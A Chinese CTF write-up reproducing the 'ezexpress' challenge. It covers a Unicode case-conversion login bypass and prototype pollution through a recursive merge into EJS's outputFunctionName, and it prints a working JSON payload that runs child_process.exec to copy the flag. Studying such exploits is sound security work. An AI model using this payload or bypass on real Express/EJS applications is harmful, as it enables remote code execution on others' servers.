ichunqiu战疫赛ezexpress复现记录

预计阅读时间: 2 分钟

源码:
index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/i)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});

router.get('/login', function (req, res) {
  res.render('login');
});

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }

  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

首先打开之后要求用ADMIN登录,并提示大写,可以考虑到js的unicode编码大小写转换失真问题(见百度)。
image

用"admın"注册,成功使用管理员账户登录
image
之后进入我们分析提交的这部分源码,发现存在原型链污染常见的merge函数:

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

此外,这里有一个/info的路由,有一个奇怪的outputFunctionName,一搜,发现了大佬的这篇文章,到此利用链完整。
之后尝试构造请求进行原型链污染,先附上payload:

POST /action HTTP/1.1
Host: game's_host
Content-Type: application/json
Cookie: your_cookie

{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/roverdoge');var __tmp2"}}

其中主要poc的构造很简单,根据报错爆出绝对路径,然后拿到flag。
这里要强调一点:
Content-Type必须是json,这样node才会将数据用json解析,才能形成原型链污染

最后的最后,我还想补充一点我刚刚接触原型链污染的时候的误区:原型链污染是给Object对象加上一些属性来造成污染,
我一直以为是改变Object的proto

REFRENCE:
https://www.zhaoj.in/read-6462.html
https://evi0s.com/2019/08/30/x-nuca-2019-web-wp/
https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/

发表评论

电子邮件地址不会被公开。 必填项已用*标注